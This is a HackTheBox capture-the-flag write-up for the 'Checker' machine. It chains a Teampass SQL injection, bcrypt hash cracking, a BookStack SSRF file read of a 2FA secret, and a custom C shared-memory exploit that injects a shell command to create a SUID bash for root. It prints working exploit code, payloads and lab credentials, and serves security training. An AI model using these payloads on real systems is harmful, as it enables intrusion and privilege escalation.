HTB: Checker Writeup
Checker - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Checker |
| OS | Linux |
| Difficulty | Hard |
| Points | 649 |
| Release Date | 28 May 2025 |
| IP Address | 10.10.11.56 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Checker is a challenging machine that combines multiple web application vulnerabilities with binary exploitation. The target hosts Teampass (password manager) and BookStack (documentation platform), each with exploitable CVEs. The attack chain begins by exploiting CVE-2023-1545 (SQL injection) in Teampass to extract password hashes, which are then cracked to reveal user credentials. These credentials unlock access to BookStack, where CVE-2023-6199 (blind SSRF via file read) is leveraged to exfiltrate the SSH 2FA secret from an insecurely backed-up file. Once SSH access is obtained, privilege escalation is achieved through reverse engineering the check_leak binary to identify a command injection vulnerability in its SQL query construction, which is then exploited via shared memory manipulation.
TL;DR: Teampass SQLi → crack hashes → BookStack SSRF → leak 2FA secret → SSH access → reverse engineer check_leak binary → shared memory command injection → root.
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -sC -sV 10.10.11.56Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1080/tcp open http Apache httpd8080/tcp open http Apache httpdThree open services detected: SSH on port 22, and two HTTP services on ports 80 and 8080.
Service Enumeration
Port 80 - HTTP (Apache):
- Initial redirect to
checker.htbdomain - Hosts BookStack v23.10.2 (documentation platform)
- Login page accessible after domain resolution
Port 8080 - HTTP (Apache):
- Hosts Teampass password manager
- Web interface for credential management
- Version appears vulnerable to known exploits
Port 22 - SSH:
- OpenSSH 8.9p1 on Ubuntu
- Standard SSH service (to be accessed later)
Vulnerability Assessment
- Teampass CVE-2023-1545: SQL injection vulnerability in versions prior to 3.0.0.22 due to insufficient input sanitization
- BookStack CVE-2023-6199: Blind SSRF via local file read in
/ajax/page/<id>/save-draftendpoint (requires authentication) - check_leak Binary: Command injection through insecure SQL query construction using data from shared memory with world-readable permissions
Initial Foothold
Step 1: Exploit Teampass SQL Injection (CVE-2023-1545)
First, add the domain to your hosts file:
echo "10.10.11.56 checker.htb" | sudo tee -a /etc/hostsClone the Teampass CVE-2023-1545 proof-of-concept script:
# Download and execute the PoC./teampass_cve.sh http://10.10.11.56:8080Output:
There are 2 users in the system:admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWyabob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiyStep 2: Crack the Extracted Hashes
Save the hashes and crack them using Hashcat:
cat > hashes.txt << 'EOF'$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiyEOF
# Crack bcrypt hashes with Hashcathashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txtResult:
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleaderThe bob user’s password is cheerleader.
Step 3: Login to Teampass and Extract Credentials
Log into Teampass at http://checker.htb:8080 using:
- Username: bob
- Password: cheerleader
Navigate to the “bob-access” folder to reveal two credential sets:
BookStack Credentials:
Email: bob@checker.htbPassword: mYSeCr3T_w1kI_P4sSw0rDSSH Credentials:
Username: readerPassword: hiccup-publicly-genesisStep 4: Exploit BookStack SSRF (CVE-2023-6199)
Clone the PHP filter chains oracle exploit:
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.gitcd php_filter_chains_oracle_exploitModify requestor.py to properly encode the filter chain. Update the req_with_response method:
import base64
def req_with_response(self, s): if self.delay > 0: time.sleep(self.delay)
filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
# Base64 encode the filter chain encoded_filter = base64.b64encode(filter_chain.encode('ascii')).decode('ascii') final_payload = "<img+src='data:image/png;base64,"+encoded_filter+"'/>"
merged_data = self.parse_parameter(final_payload)
try: if self.verb == Verb.PUT: requ = self.session.put(self.target, data='&'.join(f'{k}={v}' for k, v in merged_data.items())) return requ # ... other verb handlers except requests.exceptions.ConnectionError: print("[-] Could not instantiate a connection") exit(1)Log into BookStack with bob’s credentials and create a new page. Intercept the auto-save request in Burp Suite to capture the endpoint, CSRF token, and session cookie.
Step 5: Retrieve the 2FA Secret
Execute the exploit to read the leaked backup:
python3 filters_chain_oracle_exploit.py \ --target http://checker.htb/ajax/page/9/save-draft \ --file '/backup/home_backup/home/reader/.google_authenticator' \ --verb PUT \ --parameter html \ --headers '{"X-CSRF-TOKEN":"<your-token>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<your-session>"}'Output (base64 decoded):
DVDBRAODLCWF7I2ONA4K5LQLUE" TOTP_AUTHThe 2FA secret is: DVDBRAODLCWF7I2ONA4K5LQLUE
Step 6: Generate OTP and SSH Login
Generate the TOTP code using oathtool:
oathtool --totp -b DVDBRAODLCWF7I2ONA4K5LQLUELog in via SSH with the credentials and OTP:
ssh reader@checker.htb# Password: hiccup-publicly-genesis# Verification code: <generated-otp>Retrieve the user flag:
cat /home/reader/user.txtPrivilege Escalation
Step 1: Identify Sudo Permissions
Check what commands can be run as root:
sudo -lOutput:
User reader may run the following commands on checker: (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *Step 2: Analyze the Vulnerable Script
Examine the check-leak.sh script:
cat /opt/hash-checker/check-leak.shContents:
#!/bin/bashsource `dirname $0`/.envUSER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')/opt/hash-checker/check_leak "$USER_NAME"The script calls a compiled binary check_leak with the sanitized username.
Step 3: Transfer and Reverse Engineer the Binary
Start an HTTP server on the target:
python3 -m http.server 9001Download the binary on your attack machine:
wget checker.htb:9001/check_leakUse Ghidra to decompile and analyze the binary. Key findings:
- The binary queries a database for the user’s password hash
- If the hash is found in
/opt/hash-checker/leaked_hashes.txt, it writes to shared memory with insecure permissions (0666) - The message format is:
Leaked hash detected at <TIME> > <HASH> - It then extracts the hash and uses it in an unquoted SQL query:
mysql ... where pw = "<HASH>"
Step 4: Identify the Command Injection Point
The vulnerable code constructs a MySQL query without proper escaping:
snprintf(..., "mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'", ...)Since the hash is read from world-writable shared memory, we can inject SQL/shell commands.
Step 5: Create the Exploit
Create a C program to manipulate the shared memory and inject a malicious payload:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ipc.h>#include <sys/shm.h>#include <sys/types.h>
#define SHM_MODE 0666
void append_to_leaked_hash(char *shm_ptr, const char *malicious_string) { char *line = strtok(shm_ptr, "\n"); while (line != NULL) { if (strstr(line, "Leaked hash detected") != NULL) { strcat(line, malicious_string); break; } line = strtok(NULL, "\n"); }}
int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <malicious_string>\n", argv[0]); return 1; }
char shm_key_str[2048] = ""; char line[512];
while (fgets(line, sizeof(line), stdin)) { strncat(shm_key_str, line, sizeof(shm_key_str) - strlen(shm_key_str) - 1); if (strstr(line, "Using the shared memory") != NULL) { break; } }
char *start = strstr(shm_key_str, "Using the shared memory "); if (start) { start += strlen("Using the shared memory "); char *end = strstr(start, " as temp location"); if (end) { *end = '\0'; }
printf("Extracted Hex Key: %s\n", start); key_t shm_key = (key_t)strtol(start, NULL, 16); int shmid = shmget(shm_key, 0, SHM_MODE);
if (shmid == -1) { perror("shmget"); return 1; }
char *shmaddr = shmat(shmid, NULL, 0); if (shmaddr == (char *)-1) { perror("shmat"); exit(1); }
const char *malicious_string = argv[1]; append_to_leaked_hash(shmaddr, malicious_string); printf("Updated Shared Memory Data:\n%s\n", shmaddr);
if (shmdt(shmaddr) == -1) { perror("shmdt"); exit(1); } } return 0;}Compile the exploit:
gcc -o exploit exploit.cStep 6: Execute the Exploit
Open two SSH sessions as the reader user.
Terminal 1: Run the check-leak script for bob (whose hash is leaked) and pipe output:
sudo /opt/hash-checker/check-leak.sh bob > pipeTerminal 2: Execute the exploit with a command injection payload. This payload copies bash to the home directory with the SUID bit set:
cat pipe | ./exploit '" or 1=1; \! /bin/sh -c "cp /bin/bash /home/reader/.bash && chmod 4755 /home/reader/.bash"; #'Output confirms successful injection:
Extracted Hex Key: 0x31789Updated Shared Memory Data:Leaked hash detected at Sat May 24 05:00:19 2025 >$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy" or 1=1; \! /bin/sh -c "cp /bin/bash /home/reader/.bash && chmod 4755 /home/reader/.bash"; #Step 7: Gain Root Shell
Verify the SUID bash binary was created:
ls -al /home/reader/.bashOutput:
-rwsr-xr-x 1 root root 1396520 May 31 05:00 /home/reader/.bashExecute the SUID bash to gain root privileges:
/home/reader/.bash -pRetrieve the root flag:
cat /root/root.txtAttack Chain Summary
Teampass CVE-2023-1545 (SQLi) ↓Extract & crack password hashes ↓Obtain bob's credentials (cheerleader) ↓Login to Teampass ↓Extract BookStack & SSH credentials ↓BookStack CVE-2023-6199 (Blind SSRF) ↓Exfiltrate 2FA secret from backup ↓Generate TOTP & SSH login as reader ↓Reverse engineer check_leak binary ↓Identify command injection via shared memory ↓Exploit via malicious SQL query ↓Create SUID bash shell ↓Root accessTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service enumeration |
hashcat | Bcrypt hash cracking |
oathtool | TOTP generation |
Ghidra | Binary reverse engineering |
Burp Suite | HTTP request interception |
php_filter_chains_oracle_exploit | Blind SSRF exploitation |
gcc | C program compilation |
| Custom C exploit | Shared memory manipulation |
Key Learnings
Techniques Practiced
- SQL Injection: Exploiting insufficient input sanitization in Teampass to extract user credentials
- Hash Cracking: Using Hashcat to crack bcrypt hashes with dictionary attacks
- Blind SSRF: Leveraging file read vulnerabilities in BookStack via PHP filter chains and oracle techniques
- TOTP Implementation: Understanding time-based one-time password generation for 2FA bypass
- Binary Reverse Engineering: Using Ghidra to decompile and analyze compiled binaries for vulnerabilities
- Shared Memory Exploitation: Identifying world-readable/writable shared memory as an attack vector
- Command Injection: Crafting SQL queries with shell metacharacters to achieve code execution
- Privilege Escalation: Leveraging SUID binaries created through command injection for root access
Lessons Learned
-
Defense in Depth Matters: This machine demonstrates how multiple vulnerabilities in different services can chain together. Securing one application doesn’t guarantee overall system safety.
-
Input Sanitization is Critical: Both Teampass and the check_leak binary suffered from inadequate input validation, leading to SQLi and command injection respectively.
-
Backup Security is Often Overlooked: The insecurely backed-up 2FA secret (with world-readable permissions) was a critical vulnerability that shouldn’t exist in production.
-
Shared Memory Permissions: Setting world-writable permissions (0666) on shared memory segments is extremely dangerous and should be avoided in favor of restrictive permissions.
-
Query Parameterization: The check_leak binary’s use of string concatenation in SQL queries instead of parameterized queries directly enabled the injection attack.
-
SUID Binaries Are Powerful: Even seemingly mundane applications become critical security boundaries when executed with elevated privileges; their code must be thoroughly vetted.
-
Multi-Stage Exploitation: Real-world attacks often require chaining multiple vulnerabilities across different systems. A single weakness may not be exploitable in isolation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>